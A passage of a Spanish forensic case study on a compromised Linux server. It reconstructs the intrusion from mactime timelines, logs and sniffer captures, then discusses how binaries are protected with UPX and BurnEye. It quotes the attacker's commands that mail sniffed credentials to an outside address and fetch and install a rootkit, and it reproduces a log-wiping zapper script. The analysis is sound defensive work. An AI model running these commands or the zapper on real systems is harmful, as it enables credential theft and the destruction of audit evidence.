XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX

XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again

---

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente. También podemos conocer que el intruso tiene una cuenta en el sistema AAAAAA.XXXXXX.XXX [XXX.XXX.XXX.XX] que normalmente utiliza entre 14:33:05 y 15:00:25 EST.

Los strings del fichero "/usr/sbin/telnetd" muestran que es un sniffer. El fichero log del sniffer es "tcp.log" (por defecto):

. . .

cant get SOCK_PACKET socket

cant get flags

cant set promiscuous mode

----- [CAPLEN Exceeded]

----- [Timed Out]

----- [RST]

----- [FIN]

%s => %s [%d]

eth0

tcp.log

cant open log

Exiting...

. . .

El día 13 de XXXX, otro programa que incorpora funciones de red se compila, que hace uso de muchos más recursos que el sniffer (ya que carga más librerías). El hecho que el binario no aparece con fecha de modificación o cambio, puede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultar su presencia del equipo de administración del servidor.

XXX 13 XX 10:01:46 55492 .a. -rwxr-xr-x root root /x/usr/bin/gcc

6211 .a. -rw-r--r-- root root /x/usr/include/stdio.h

92696 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp
1003 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/specs
XXX 13 XX 10:01:47 2767 .a. -rw-r--r-- root root /x/usr/include/_G_config.h
1441 .a. -rw-r--r-- root root /x/usr/include/alloca.h
2040 .a. -rw-r--r-- root root /x/usr/include/confname.h
1267 .a. -rw-r--r-- root root /x/usr/include/errno.h
4186 .a. -rw-r--r-- root root /x/usr/include/features.h
4434 .a. -rw-r--r-- root root /x/usr/include/gnu/types.h
7917 .a. -rw-r--r-- root root /x/usr/include/libio.h
380 .a. -rw-r--r-- root root /x/usr/include/posix_opt.h
4419 .a. -rw-r--r-- root root /x/usr/include/signal.h
15134 .a. -rw-r--r-- root root /x/usr/include/stdlib.h
7537 .a. -rw-r--r-- root root /x/usr/include/string.h
3909 .a. -rw-r--r-- root root /x/usr/include/sys/cdefs.h
4538 .a. -rw-r--r-- root root /x/usr/include/sys/socket.h
321 .a. -rw-r--r-- root root /x/usr/include/sys/types.h
25129 .a. -rw-r--r-- root root /x/usr/include/unistd.h
8841 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/stddef.h
1029 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/types.h
6298 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/errno.h
2065 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/signal.h
2794 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/socket.h
3846 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/sockios.h
2621 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/types.h
XXX 13 XX 10:01:48 3668 .a. -rw-r--r-- root root /x/usr/include/arpa/inet.h
734 .a. -rw-r--r-- root root /x/usr/include/bytesex.h
1555 .a. -rw-r--r-- root root /x/usr/include/endian.h
3248 .a. -rw-r--r-- root root /x/usr/include/limits.h
6390 .a. -rw-r--r-- root root /x/usr/include/netdb.h
2663 .a. -rw-r--r-- root root /x/usr/include/netinet/in.h
3562 .a. -rw-r--r-- root root /x/usr/include/paths.h
2643 .a. -rw-r--r-- root root /x/usr/include/posix1_lim.h
2680 .a. -rw-r--r-- root root /x/usr/include/posix2_lim.h
3777 .a. -rw-r--r-- root root /x/usr/include/sys/bitypes.h
709 .a. -rw-r--r-- root root /x/usr/include/sys/param.h
2315 .a. -rw-r--r-- root root /x/usr/include/sys/time.h
5273 .a. -rw-r--r-- root root /x/usr/include/sys/wait.h
2852 .a. -rw-r--r-- root root /x/usr/include/time.h
1156 .a. -rw-r--r-- root root /x/usr/include/waitflags.h
3724 .a. -rw-r--r-- root root /x/usr/include/waitstatus.h
1418196 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1

3049 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/limits.h

330 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/syslimits.h

2101 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/byteorder.h

266 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/param.h

3965 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/in.h

720 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/limits.h

78 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/param.h

1146 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/time.h

313 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/version.h

698 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/wait.h

XXX 13 XX 10:01:57 117668 .a. -rwxr-xr-x root bin /x/usr/bin/as

XXX 13 XX 10:01:58 145695 .a. -rwxr-xr-x root bin /x/usr/bin/ld

XXX 13 XX 10:01:59 1088 .a. -rw-r--r-- root root /x/usr/lib/crt1.o

1216 .a. -rw-r--r-- root root /x/usr/lib/crtbegin.o

1212 .a. -rw-r--r-- root root /x/usr/lib/crtend.o

624 .a. -rw-r--r-- root root /x/usr/lib/crti.o

396 .a. -rw-r--r-- root root /x/usr/lib/crtn.o

204146 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/libgcc.a

---

El día 14 se ejecuta un cliente de ftp "ncftp":

XXX 14 XX 00:42:50 146881 .a. -rwxr-xr-x root bin /x/usr/bin/ncftp

---

Los índices de acceso del sistema XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") muestran un login al sistema XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") a las XX:XXX del horario EST o +0300 horas más de PST), lo que describe las conexiones de las máquinas CCCCCCCC.XXXXXXXX.XXX, XXXXXXXXXXXXX.washington.edu, and XXXXXXXXXXXX.washington.edu:

XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:46 - 04:08 (00:21)

XXX ftp XXXXXXX.washingt Sat XXX 14 03:46 - 03:46 (00:00)

XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:38 - 03:40 (00:02)

XXX ftp XXXXXXXXXXXXX.wa Sat XXX 14 03:37 - 03:39 (00:02)

XXX ftp XXXXXXXXXXXX.was Sat XXX 14 03:19 - 03:20 (00:00)

Hay solo una ocurrencia de utilización del comando "ncftp" registrada por el sniffer el día XX del SSS (línea 347 en "tcp.log"). También podemos encontrar huellas de otra conexión del XXXXX.XXXX.XXX:

XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]

!"'%W#$ 38400,38400vt100bdoor

password

```
w
su r00t
cd /etvc
cd ".. "
ls
cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
ncftp -u ls
cp tcp.log 1
ls
ncftp -y XXX.XXX
[A[D[D[D[D[D[D[D[Du
----- [Timed Out]
```

El log de la sesión anterior muestra que el fichero log del sniffer ha sido enviado a una dirección de correo electrónico. Después de cuatro horas, alguien emite un comando "whoami", y luego añade y elimina algunos ficheros dentro del directorio oculto.

```
XXX 14 XX 04:07:42 3797 .a. -rwxr-xr-x root bin /x/usr/bin/whoami
XXX 14 XX 04:08:18 1024 m.c drwxr-xr-x root root /x/etc/..___
```

El día 14 del XXX, se ejecuta el binario in.identd. Este servicio sirve para asociar el nombre de usuario con un intento de conexión a un servicio remoto. Esta aplicación se utiliza por algunas redes de IRC. Puede significar que alguien realizó una conexión a un servidor IRC desde la máquina comprometida.

También tuvieron lugar varias conexiones al servidor POP de correo "in.pop3d", al servicio Berkeley "r", "in.rlogind", y una conexión al servicio NFS "rpc.mountd". Una vez establecida la conexión, se ejecutó el comando "id" (este es un vestigio de un exloit ADM mountd buffer overrun).

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd, que suele ser UID=0. El intruso, aprovechando del shell, crea un directorio "/var/tmp/XXXXX" y instala varias puertas traseras, utilidades para limpiar los ficheros log y un sniffer. Modificación de algunos ficheros log indican que a la hora de entrada se ejecutaron las utilidades de eliminación de huellas (zapper) que restablecieron el tamaño del fichero log a 0 bytes.

```
XXX 14 XX 20:25:14 13004 .a. -rwxr-xr-x root bin /x/usr/sbin/in.identd
XXX 14 XX 22:24:52 15029 .a. -rwxr-xr-x root bin /x/usr/sbin/in.pop3d
XXX 15 XX 02:22:24 23421 .a. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
XXX 15 XX 02:23:07 25217 .a. -rwxr-xr-- root bin /x/usr/sbin/rpc.mountd
XXX 15 XX 02:23:08 7705 .a. -rwxr-xr-x root bin /x/usr/bin/id
XXX 15 XX 02:24:22 28550 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/fix
13508 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
XXX 15 XX 02:24:23 13508 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
```

1375 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/readme
XXX 15 XX 02:24:39 26314 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
XXX 15 XX 02:24:41 26314 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
XXX 15 XX 02:24:43 1126 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
XX mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/imapdis
XXX 15 XX 02:24:59 4665 .a. -rwxr-xr-x root bin /x/usr/bin/basename
XXX 15 XX 02:25:03 0 mac -rw-r--r-- root root /x/var/log/cron
XXX 15 XX 02:25:04 0 ma. crw-rw-rw- root root /x/dev/ttyp3
XXX 15 XX 02:25:06 0 .a. -rw-r--r-- root root /x/var/log/debug
XXX 15 XX 02:25:08 0 .a. -rw-r--r-- root root /x/var/log/lastlog
XXX 15 XX 02:25:12 2699 .a. -rw-r--r-- root root /x/var/log/syslog
XXX 15 XX 02:25:15 131968 .a. -rwxr-xr-x root bin /x/usr/bin/gawk
5941 .a. -rwxr-xr-x root bin /x/usr/bin/wc
0 .a. -rw-r--r-- root root /x/var/log/xferlog
1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX
1126 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
XXX 15 XX 02:25:54 2802 m.c -rwxr-xr-x root root /x/etc/rc.d/rc.inet2
XXX 15 XX 02:26:13 12288 m.c -rw-rw-r-- root root /x/etc/psdevtab
XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
XXX 15 XX 02:28:37 0 .a. crw-rw-rw- root root /x/dev/ptyp2
XXX 15 XX 02:28:38 0 m.c crw-rw-rw- root root /x/dev/ptyp2
0 mac crw-rw-rw- root root /x/dev/ttyp2
XXX 15 XX 02:29:58 0 m.c -rw-r--r-- root root /x/var/log/lastlog
XXX 15 XX 02:30:06 0 m.c -rw-r--r-- root root /x/var/log/xferlog
XXX 15 XX 02:31:03 66973 .a. -rwxr-xr-x root bin /x/bin/telnet
XXX 15 XX 02:35:01 1024 m.c drwxr-xr-x root root /x/var/log
0 mac -rw-r--r-- root root /x/var/log/sulog
XXX 15 XX 02:35:16 0 m.c -rw-r--r-- root root /x/var/log/debug
XXX 15 XX 02:35:51 0 ma. crw-rw-rw- root root /x/dev/ptyp3
XXX 15 XX 02:35:52 0 ..c crw-rw-rw- root root /x/dev/ptyp3
0 ..c crw-rw-rw- root root /x/dev/ttyp3
XXX 15 XX 03:21:57 1649 m.. -rw-r--r-- root root /x/etc/passwd.OLD
XXX 15 XX 03:22:24 7317 .a. -rwxr-xr-x root bin /x/bin/killall
XXX 15 XX 03:22:40 58605 .a. -rwxr-xr-x root bin /x/bin/ps
25 .a. -rw-r--r-- root root /x/dev/XXXXXXXX/PS

La siguiente actividad aparece en la línea 471 en "tcp.log" (el fichero log del sniffer entre 14 XXX 03:46 de la línea 348 y 17 XXX 20:13, desde la fecha de última modificación del fichero):

```
---------------------------------------------------------------------------
  IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
  rootXXXXlinux/38400
  ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
  rootXXXX-linux/38400
  ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
  rootr00tlinux/38400t
  ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]
  !"'%P#$ 38400,38400linuxXXXXX
XXX
r00t
  finger
  cd /var/tmp
  ls -al
  rm -rf .bash*
  ftp XXXXXX.XXX.XXX
  anonymous
  ass
  get XXXX.tgz
  quituit
  tar zxvf XXXX.tgz
  chmod +x *
  ./INSTALL
  ls -al
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]
  !"'%P#$ 38400,38400linuxr00t
  pico /etc/rc.d/irc.inetd2
  rpc.mo.mo.mo.mountd
  [A11
  mountd
  [A2
  pmountd
```

[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y

pico /etc/inetd.conf

[6~[6~killall -HUP inetd

cat /etc/inetd.conf

ps aux

kill -9 cd /dev

mkdir XXXXXXXX

cd XXXXXXXX

pico LS

XXXXXXXX

XXXXXy

pico PS

3 bindshell

3 linsniffery

ps aux

kill -9 2541

f

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuración del rootkit referente al modus operandi de la utilidad "ls" (llamado LS) para esconder ficheros/directorios con cadenas "XXXXXX" y/o "JJJJJJJJ" en sus nombres. También ha modificado el fichero de configuración del rootkit para la utilidad "ps" (llamado PS) para esconder procesos "bindshell" y "linsniffer" en sus nombres.

La letra "y" que aparece en las cadenas "XXXXXXy" y "linsniffery" son huellas del usuario que nos informan que ha sido utilizado el editor "pico". El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X. Si el fichero ha sido modificado de alguna forma el siguiente texto aparece:

Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?

El usuario entonces debe teclear la letra "y" para guardar el fichero y salir. El sniffer no captura el mensaje del sistema pero sí el "y". Las entradas log del sniffer aquí muestran que se creó el directorio XXXXXXXX, dónde fueron insertados los ficheros de configuración del rootkit y editados en siguiente orden. Podemos observarlo en el listado de mactime, posiblemente atando este evento al día 15 del XXX a las 02:26:

XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir

XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS

XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX

25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS

El día 16 del XXX alguien crea una copia de seguridad del log del sniffer ("sniffer.log.save"), moviéndolo al directorio "/var/tmp/XXXX/programs". Este fichero muestra los intentos de entrada de otros intrusos que también acceden al fichero "tcp.log":

XXX 16 XX 21:55:34 36088 .a. -rwxr-xr-x root bin /x/bin/netstat

XXX 16 XX 21:58:27 1024 m.c drwxrwxrwx root root /x/var/tmp

XXX 16 XX 21:58:52 6 .a. -rw-r--r-- root root /x/root/temp.txt

XXX 16 XX 22:50:33 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX

XXX 16 XX 22:51:02 6644 .a. -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log

XXX 16 XX 22:57:16 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX/programs

XXX 16 XX 23:39:51 1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX/programs

4992 mac -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log.save

---

El fichero "/root/temp.txt" contiene la única palabra "blah" en la línea y una línea en blanco. Actualmente no se conoce para que sirvió el fichero. El día 17 del XXX se modifica la contraseña de algún usuario, se crea un fichero de copia de seguridad:

XXX 17 XX 12:44:50 153384 .a. -rws--x--x root bin /x/usr/bin/passwd

XXX 17 XX 12:45:05 1649 m.c -rw-r--r-- root root /x/etc/passwd

1649 ..c -rw-r--r-- root root /x/etc/passwd.OLD

A continuación, el día 17 del XXX, alguien accede al servidor a través de telnet. Por lo visto se obtiene el UID del usuario lp. Modificaciones en /dev/console indican que ocurrió también una entrada de usuario en la consola física. Fechas de modificación han sido cambiadas en la aplicación de los logs del sniffer "/etc/..__/tcp.log" y también "/var/tmp/XXXXX/programs/sniffer.log", que significa que las aplicaciones han sido desactivadas.

XXX 17 XX 20:13:44 296 .a. -rw-r--r-- root root /x/etc/hosts.deny

40907 .a. -rwxr-xr-x root bin /x/usr/sbin/tcpd

XXX 17 XX 20:13:45 40685 .a. -rwxr-xr-x root bin /x/usr/sbin/in.telnetd

25 m.c -rw-rw-r-- root root /x/var/spool/lp1/status

XXX 17 XX 20:13:46 0 m.. crw-rw-rw- root root /x/dev/console

0 .a. crw-rw-rw- root root /x/dev/ptyp0

0 m.. crw-rw-rw- root root /x/dev/ttyp0

18476 m.c -rw-r--r-- root root /x/etc/..___/tcp.log

6644 m.c -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log

XXX 17 XX 20:13:50 0 ..c crw-rw-rw- root root /x/dev/console

0 ..c crw-rw-rw- root root /x/dev/ptyp0

0 ..c crw-rw-rw- root root /x/dev/ttyp0

El día 18 de XXX, se ejecuta la aplicación sendmail. Las huellas en el sistema de ficheros nos muestran que, posiblemente se envió a una dirección de correo electrónico el fichero log del sniffer "tcp.log":

XXX 18 XX 05:30:26 164060 .a. -r-sr-Sr-x root bin /x/usr/sbin/sendmail

---

Aparte de analizar el sistema de ficheros con detenimiento, se han recuperado todos los ficheros eliminados utilizando la utilidad "unrm" de TCT. Una examen de los ficheros recuperados mostró eliminación de algunos ficheros log y scripts. El siguiente es una parte del script de instalación/limpieza que está incluido con el rootkit.

```
cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis
rm -rf /var/tmp/imap-d
echo "6. cleaning logs"
cd /var/tmp/XXXXX
cp /var/tmp/clean /var/tmp/XXXXX/programs/clean
rm -rf /var/tmp/clean
/var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
/var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null
/var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null
echo "rootkit complete"
echo "rember to disable imapd"
echo "EOF"
```

El siguiente es una parte del fichero log que muestra intentos de conexión de intrusos:

```
XXX 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again
XXX 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX
. . .
XXX 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX
. . .
XXX 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX
XXX 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1
. . .
XXX 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX
XXX 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX
. . .
XXX 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1
. . .
XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
. . .
```

```
  XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
  XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
  XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
  XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
  XXX 12 11:42:00 XXXX ftpd[1327]: SYST
  XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
  XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
  XXX 12 11:42:06 XXXX ftpd[1327]: PORT
  XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
  XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
  XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
  XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
  XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
  . . .
  XXX 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX
  . . .
  XXX 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX
  . . .
  XXX 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX
  XXX 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM
XXXXXX.XXXX.XXXXXXXXXX.XXX,    XXXXX
  XXX 12 23:48:55 XXXX su: XXXXX on /dev/console
  XXX 13 00:12:38 XXXX in.telnetd[1569]: connect from
HHHHHH.XXXXXXXXXXXXXXX.XXX
  XXX 13 00:12:54 XXXX su: XXXXX on /dev/console
  . . .
  XXX 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX
  XXX 13 07:08:01 XXXX in.telnetd[1679]: connect from
GGGGGGG.XXXXXXXXXXXXXX.XXX
  XXX 13 07:08:14 XXXX su: XXXXX on /dev/console
  . . .
  XXX 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXX.XXX
  XXX 13 08:30:22 XXXX in.telnetd[1731]: connect from
HHHHHH.XXXXXXXXXXXXXX.XXX
  XXX 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXX.XXX
  . . .
  XXX 13 09:58:42 XXXX su: XXXXX on /dev/console
  ---------------------------------------------------------------------------
```

El siguiente ejemplo es un extracto de script "zapper" que elimina las huellas dejadas por el intruso, o restablece el tamaño de los ficheros log a 0 bytes. No se sabe si existe una copia de este script en el sistema de ficheros activo.

```
---------------------------------------------------------------------------
  #!/bin/bash
  . . .
  WHAT=$(/bin/ls -F /var/log | grep -v "/" |
grep -v "*" |    grep -v ".tgz" |
grep -v ".gz" | grep -v ".tar"    |
grep -v "@")
  for file in $WHAT
  line=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
  echo -n "Cleaning $file ($line lines)..."
  grep -v $1 /var/log/$file > new
  mv -f new /var/log/$file
  newline=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
  let linedel=$(($line-$newline))
  echo "$linedel lines removed!"
  done
  echo " "
  ---------------------------------------------------------------------------
```

Los siguientes cadenas de texto pertenecen al fichero wtmp (leído por la utilidad "last"). Las horas no son obvias aquí pero los nombres de hosts sí lo son.

```
  ---------------------------------------------------------------------------
  ftp4264
  ttyp1
  3XXXXX
  XXXXXXXXXXXX
  ttyp1
  Pftp4626
  3XXXXX
  XXXXXXXXXXXX
  ttyp1
  3XXXXX
  XXXXXXXXXXXX
  ftp4626
  ttyp1
  Pftp4639
  3XXXXXXXX
  XXX.XX.XXX.XX
  Pftp4639
  Pftp4653
  3XXXXXX
  XXXXXXXXXXXX
```

ftp4653

Pftp4743

3XXXXX

XXXXXXXXXXXXXXXXX

Apéndice A - Métodos de Protección de Binarios

a. Introducción

Los sistemas operativos Unix/Linux, *BSD se consideran por los especialistas como avanzados, seguros y estables debido a su diseño de arquitectura y gestión de procesos.

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix), COFF (Unix System V), ECOFF (Mips/Alfpha), XCOFF (IBM RS/6000, AIX) y finalmente ELF (el sucesor de COFF, que ofrece múltiples secciones y valores posibles de 32 o 64 bits). Mientras que los sistemas operativos win32 tienen MZ (dos), NE (Windows 3.xx) y PE (Win9x/NT).

La popularidad y el enfoque comercial de sistemas win32 obligó a las empresas desarrolladoras de software invertir fondos y horas en protección de sus aplicaciones, para evitar obligar a los usuarios comprar el software. Desde el principio los especialistas en ingeniería inversa conseguían, por placer o por negocio, evitar los métodos de protección de los ejecutables que bajo win32 ya entonces tenían múltiples técnicas de protección. En actualidad un fichero ejecutable bajo Windows (PE) puede estar perfectamente cifrado, empaquetado, ofuscado y wrappeado al visa versa a la hora de ejecución lo que muestra la evolución de un binario simple hacía un ejecutable propiamente protegido, lo que proporciona la seguridad a la empresa desarrolladora que su software no podrá ser utilizado de forma ilegal, por lo menos por el público general.

Y lo único (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla de símbolos o en otras palabras "strippearlo" que que no ofrece ningún tipo de protección.

Existen pocas herramientas de protección, son experimentales y se conocen/utilizan solo por los hackers de nivel alto medio-alto. A la hora de realizar un análisis forense, nos encontraremos con binarios que el intruso ha ido dejando en el sistema y necesitaríamos saber las funciones de cada uno de ellos, teniendo en cuenta que ejecución de binarios desconocidos puede provocar un desastre, si no estamos seguros de la función de los mismos.

b. Métodos de Protección

En las investigaciones rutinarias de casos de "defacements" de páginas web o de utilización de la máquina comprometida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoría de herramientas están circulando por la red de forma abierta. Mientras que en los compromisos de sistemas importantes como de Bancos, Líneas Aéreas o Universidades, el nivel de intruso es tecnológicamente y intelectualmente superior, por lo tanto también lo son sus herramientas. Hasta que no sepamos el propósito de cada uno de las herramientas del intruso no podremos concluir la investigación con éxito.

Podemos encontrar siguientes métodos de protección de binarios en este caso, según el nivel del atacante y tipo de herramienta utilizada. Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo del investigador.

UPX [3] - "Ultimate Packer for eXecutables", los intrusos con un nivel de conocimientos bajo o medio utilizan compresor de ejecutables UPX como una herramienta de protección de sus aplicaciones. Este software tiene soporte para reducir el tamaño de binarios de tipo dos/exe, dos/com, dos/sys, djgpp2/coff, watcom/le, elf y etc... a través de

las funciones de la librería UCL escrita en ANSI C, por lo tanto ofuscando su contenido a nivel superficial.

Si observamos el output del comando strings vemos que es fácilmente detectable por la cadena de texto "$Id: UPX 1.22 Copyright (C) 1996-2002 the UPX Team. All Rights Reserved. $" en caso de que UPX no ha sido modificado. En otros casos cuando el intruso puso su empeño en modificar la fuentes de UPX para confundir (aun mas) al administrador el binario sigue perfectamente reconocible observando las cadenas "/tmp/upxAAAAAAAAAAA", "/prof", etc... en el fichero. Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguiente comando:

```
[ervin@activalink.com ervin]$ ./upx -d <fichero empaquetado>
```

BurnEye [4] - Este tipo de protección se utiliza por los intrusos con nivel de conocimientos medio, medio-alto, que conocen la estructura de binarios ELF. BurnEye ofrece 3 niveles de protección de binarios ELF por capas: ofuscación de código, cifrado de aplicación a través de contraseña y técnica de OS fingerprinting.

Nivel 1. El primer nivel de protección realiza un cifrado del binario y utiliza la técnica de inyección de código dentro del binario ELF. El código es un motor de descifrado que a la hora de ejecutar el programa descifra su contenido y lo ejecuta. Podemos detectar si el binario está protegido con el primer nivel de BurnEye si su output de strings contiene la cadena "TEEE burneye - TESO ELF Encryption Engine". En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output, se puede detectar ese nivel de protección a través de GDB. Esa protección implementa además una trampa para debuggers que utilizan llamada de sistema ptrace():

```
[ervin@activalink.com dev]$ gdb ./<binario encriptado con burneye nivel  1>
  GNU gdb 5.2
  Copyright 2002 Free Software Foundation, Inc.
  [...]
  This GDB was configured as "i686-pc-linux-gnu"...(no debugging symbols  found)...
  (gdb) r
  Starting program: /dev/validate_MoD
  warning: shared library handler failed to enable breakpoint
Program received signal SIGTRAP, Trace/breakpoint trap.
  0x053714c7 in ?? ()
  (gdb)
```

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7. Ese nivel de protección de binarios puede ser superado realizando un dump de memoria, con herramienta memdump y extracción manual del motor de cifrado (Ver [5] para más información).

Nivel 2. El segundo nivel de protección de binarios es más completo que el anterior. Su funcionamiento utiliza la misma técnica de inyección de código dentro de ELF y cifrado (wrapping). Sólo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar información, realizando una comprobación por contraseña como clave de cifrado (SHA1). Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original.

